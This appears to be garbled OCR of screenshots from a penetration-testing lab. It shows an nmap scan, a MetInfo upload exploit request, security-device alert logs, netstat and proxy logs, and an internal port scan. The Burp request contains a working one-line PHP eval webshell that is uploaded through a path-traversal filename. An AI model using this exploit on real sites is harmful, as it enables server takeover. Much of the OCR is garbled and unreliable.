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V- A FABSIRE T H 3331 nmapidhfr i H33 4

| RS HASsRTE BEl pyeESliE 00:343034656 ol Y root@kali:~# nmap -sS -P@ -sV -0 192.168.93.131
¢ ¢ il Ry Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-12 02:07 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
Nmap scan report for 192.168.93.131
a7 . (192, 168,93, 131 i = = Host is up (p.p013s latency).
& ‘ ‘ e L Not shown: 989 closed ports
439 o (% CPUMED + BRE) [] ITR: 1164 [ ASPE: #4833 ] FEmlzo0 PORT STATE SERVICE VERSION
i R CRURL, » SRt (] ksk: 71041 [/] BHE: 36704 (] 403 80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PH
1B |3 (3 BEEEREE : . = 135/tcp open msrpc Microsoft Windows RPC
Y - [11me: 422 [ 7ee: et [ e 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
" e . . L45/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 micros
HEES: =R P 0 HERE: 030 3306/tcp open mysql MySQL (unauthorized)
3389/tcp open ssl/ms-wbt-server?
= ot HITEIFIE: 49152/tcp open msrpc Microsoft Windows RPC
1 http: /192, 168, 93. 131/ phpinfo. php 200 49153/tcp open msrpc Microsoft Windows RPC
2 http: /7192, 168, 93. 131,/ FhpMowkdmi n/ 200 49154/tcp open msrpc Microsoft Windows RPC
5 Lttp: //192. 168,53, 131 /phpmyadnin/ =00 49160/tcp open msrpc Microsoft Windows RPC
s http: //192. 168,93, 131 /1. ok o0 49163/tcp open msrpc Microsoft Windows RPC
P7REe SR Ee L R MAC Address: 00:0C:29:40:9C:0FE (VMware)
] http: /7192, 168,93, 131 /phynyadnin/db_create. php 200 Device type: general purpose|media device
] thJFWFJGSQ3lﬂimtudﬂaﬂunﬂognﬂogmpm | 200 Running: Microsoft Windows 2008|1@|7|8.1, Microsoft embedded

0S CPE: cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_10 cpe
:/o:microsoft:windows_8.1

0S details: Microsoft Windows Server 2008 SP2, Microsoft Windows Server 2008 SP2
8, or Windows 8.1 Update 1

Network Distance: 1 hop

Service Info: 0Ss: Windows, Windows Server 2088 R2 - 2012; CPE: cpe:/o:microsoft:
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B3 - B F T 64 HZIRMANMAPH 17y

S vulfocus L% ShodanBE3IE @ FBiEEE @ bash @ 51, SHEME @ 67.1. RHEER ajax Furltthil, E...

Bl &= - Bk == REREEE B 8F30E = &
Hit200KREE | @S seE @SR 90: O W 3 B FEEE: 156K E /A\tﬂ__ ﬁ/\ a A i S i
SH =
BRI - BEIP HEIP = P REHETR = HEER - FRENRR = s o > BME
2022-04-12 14:10:24 192.168.93.131 192.168.93.1 A 19216893131 I EREEE R HRENTA 502 HE RE =
1592.16393.131 152168931 A 19216893131 ACK_FLOOD 3 HHE RE M=
a ACK_FIF 2 VS | S 0
192.168.93.131 a [E2IEE) EiER..  ACK FLOOD 1 FHE | = ms
£2. 2 [ ACK FLOOD 2 PHE | b= | s
192.168.93.132 a [{EHIRE] EisEs = ACK_FLOOD 2 HE | RE = ‘
E 4 B = s
a 2 FHE | = W=
2022-04-12 14:10:09 192.168.93.131 192.168.93.132 A 19216893131 2 HE RE M=
2022-04-12 14:10:09 19216893.132 192.166.93.131 A 19216893132 5 HHE 2 mE
E 131 2 B = s
a 132 2 FHE | 8= W=
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m Cancel || < |7
Request Response

Pretty Hex \n = Raw Hex Render \n =

1 POST /admin/index. php?c=uploadif vkn=includeka=doupingkl ang=cnkdata_key=undef inedklang=cnk 1 HTTR/1.1 200 OK
savepath=a. php%804. . \1. jpg HITP/1.1 2 Date: Tue, 12 Apr 2022 12:18:41 GMT
2 Host: 192.168.244.128 3 Server: Apache/2.4.23 (Win32) OpenSSL/1.0.23 mod_fegid/2.3.9
3 Content-Type: multipart/form—data; boundary=———-WebKitFormBoundaryycZ0B80Fe09Welgl 4 X-Powered-By: PHP/5.3.29
4 Content-Length: 209 5 Content-Type: text/html;charset=utf-8
B G Content-Length: 169
6 ——— WebEi1tFormBoundar yyeZ0BB0Fe09Welgl 7
T Comtent-Disposition: form-data; name="file”; filename="a. jpg” 8 {"error”:"0", "patlf : "uploadi/a.php \J\\.. VW1, Jpgh/1649T66618. jpg”, "eriginal”: ", . \fupleadi/a. php VWV WL Jpet
5 Content-Type: image/gif /16489766618, jpg”, "name . 16397660018, Jpg . = 7L Ty

10} <?php echo eval ($_POST[ cmd ]) ;7>
B 2 e B S S e T S R e
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B 57 ~AE R AR 73 b SCA_EAR AL B AR ALl

2022-04-12 20:20:33  192,168.93.131 192.168.93.1 [webshel %] B LEERF
2022-04-12 20:20:32  192,168.93.131 B2.157.58.139 [FIEETE] BREsE

2022-04-12 20:20:32  192.168.93.131 192.168.93.1 [FmEERA]

EZBIPHPE2E (Hl=E3) B2

ACK_FLOOD

Metinfo <= 6.2.0sI&HEES#E E

POST Juckmic, R R RR i rr = include Bam-doupim glilang =cn Bidaka_kay=undufinsdfilang =cn Bunepath= s 83000 jpg HTTRAL

Howt: 192158 244128

Contert-Type: mukiparttionm-deta; boundary=-—-taebKtformBoundaryyc OB P00 aivgl

Comune-Langth: 310

| g

ApT 2022 121181 T

Sereer] AppchaZ-423 (Wind) OpenSSLN 02) med fogld22.09
H-Posered-By FHRS.E.28

Trarsder-Encodisg chunked

Comtent-Trpet bextfttmicharset=uel-B

| iR

mrmEoundanyy: 208806 1Nl

o form -sdate; rama=fe"; filanama="ajpg"

Contens Type: imageyof

[reie wcha it POSTcma 1t |

- — Wik K AF ormEoundanyy: DOB BOF N iG]

T ST R By, "o iginal " fupoad e phpdT . AT gl BASTBEA 1 pg. namen T BAETBES 1R pg "W,y ]
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DERIEQ) ¢ DM
=g O » ALE CHE #IB%  NHE v Cphstudyd WWWMetnolupload) 3
=17 phpstudyl
4 &l i Mo Bt
-7 www
’ [ i 2022-04-12 20:39:03 0w wn
-+ MetInfo
o it [ 0.y 2022-04-12 20:39:03 0w
W 2001 0 fi 012 5307 0b 0
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B 5 -FE R ARG AT _EAR B SO I T B A

FIFAELRTE ZFEIP =P it EBERR WEEE EEERE e > BME
2022-04-12 20:57:52  192.168.93.131 192.168.93.1 TR HERES) [ e ] 1 H=E s
192.168.93 ) (=) BE 1 I | A0E
2022-04-12 20:57:5 192.168.93.131 192.168.93.1 [FsETE] SRk ACK_FLOO E] 4 EiE ms
2022-04-12 20:57:51  192.168.93.131 82.157.58.139 [FsETE] EREs ACK_FLOOD 5 P s
2022-04-12 20:57:51 19216892131 EEEE FTRFEFA] webshel FIF A AR T | == 1 b P
2022-04-12 20:57:51  192.168.93.131 192.168.93.1 [FTEEFIA] webshelFIEH SIF AFEMSEEEE Hava.) =is @ 6 EE s
2022-04-12 20:57:51  192.168.93.131 192.168.93.1 [FAEESHE] ssthiT EMEERSTRETE [E 1 5| e
2022-04-12 20:57:51  192.168.93.131 192.168.93.1 [FRTTREFIA] webshellFIA EFAARENREEETA () (mm ) 1 f= =]

EEEERDNS 555 ... ... . localdomain

FHBEEE IPve HBRE. ... ... . feB80:38b4:311 2:feabibcde®12

IPvadtell............: 192.168.93.131

. 1 2352552550

AN, ............2192.168.93.2
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[21:00] ERITBE ;I
[21:-00] MEEE.
!221:09] EEFE: ME 2: BdRERES5E
[ wew. baidu. com: B0 BT EE.
[21:01] MR
!221:01] EEFE: HE 5- REHEFSEE
[21:01] EiE < 0 EH
[21:01] MEEREH.
bt |wlisE |G [21:01] MREHR- =
0412 21:15:33] —
‘04,12 21:15:33] FEHN{ERE Proxifier 3.42 Frigmlist I BHIEE R EAd:l)| | RE
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2022-04-13 11:09:51

2022-04-13 11:09:5

192.168.93.131:139
192.168.93.131:-8888
192.168.23.131:-8888
192.168.93.131:-8888
192.168.923.131:-8888
192.168.23.131:-8888
192.168.923.131:-8888
192.168.93.131:-8888
192.168.93.131:4%486
192.168.93.131:49748
192.168.93.131:42751
192.168.93.131:49752
192.168.93.131:49753
192.168.93.131:49754
192.168.93.131:49755
192.168.93.131:49756

192.168.93.148:49187
192.168.93.148:49170¢
192.168.93.148:49193
192.168.93.148:42196
192.168.93.148:42199
192.168.93.148:49282
192.168.93.148:42285
82.157.58.13%2:7982
B2.157.58.13%9:443
82.157.58.13%:443
82.157.58.13%:443
B2.157.58.13%9:443
82.157.58.13%:443
82.157.58.13%:443
82.157.58.13%:443

LISTENING
TIME_WAIT
TIME_UWAIT
TIME_UWAIT
ESTABLISHED
TIME_UWAIT
TIME_UWAIT
TIME_WAIT
CLOSE_UWAIT
TIME_UWAIT
TIME_UWAIT
TIME_UWAIT
TIME_UWAIT
TIME_WAIT
TIME_UWAIT
TIME_UWAIT
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i I HIT 880

OMSSEROAKTA v1.01 beta " =101
FFIGIP: $ERIP: B EE
|10.10. 10. 50 —_}"m_ 10.10.50 |ﬁ [s000 @ 1RSEHE i | =ik |
mmOBH M P I EIHER fSEmOdE di-LAaYESIEH: 80, 8080, 8090-5100)
| | |21, 22, 23, 25, 53, 69, 80, B1-89, 110, 135, 139, 143, 443, 445, 465, §
B4R

ID | IF:PORT | Type | Banner |

10.10. 10.50:80

10.10.10.50:135
10.10.10.50:139
10.10. 10. 50: 445
10.10. 10. 50: 3306
10.10. 10. 50: 3389
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2022-04-13 11:48:09  10.10.10.50 10.10.10.90 [RITTREFIA] 2t ERBOEE (a7 ) ; 2 HE| S
2022-04-1311:48:00  10.10.1050 10.10.10.90 (MEEESAE] B0 DedecmsEGBOSER (mm ] (&= 2 =
2022-04-13 11:48:09  192.168.93.131 192.168.93.140 [FERSEFIAE] Eft sl o] (mm_ S 2 g e
2022-04-1311:48:09  192.168.93.131 192.168.93.140 (RmERAE 804 DedecmsEBBI4ER (a3 ) (== ) 2 EE s
2022-04-13 11:48:09  10.10.10.50 10.10.10.80 [MTTREAA] 805 WebBOLER [ﬁ [EI 2 #fE e
2022-04-1311:48:09  192.168.93.131 192.168.93.140 (AEmEHAE] B0% WebBOSER (an ] (== 2 e
2022-04-13 11:45:29  10.10.10.50 10.10.10.90 [webshel E{£] B LEEF EWPHPE 3 (NFEFH) = 1 HE e

2022-04-13 11:45:29  10.10.10.50 10.10.10.90 [webshell L{£] FEZETIZER SEETTHA 1 EE e

2022-04-13 11:45:29 192.168.93.121 192.168.93.140 [webshell bi£] BT g ZWMPHPETZHE (H=EF3) B2 1 HE s

2022-04-13 11:45:29  192.168.93.131 192.168.93.140 [webshell LE] FEZETIZR REETIEA B2 1 p== b=
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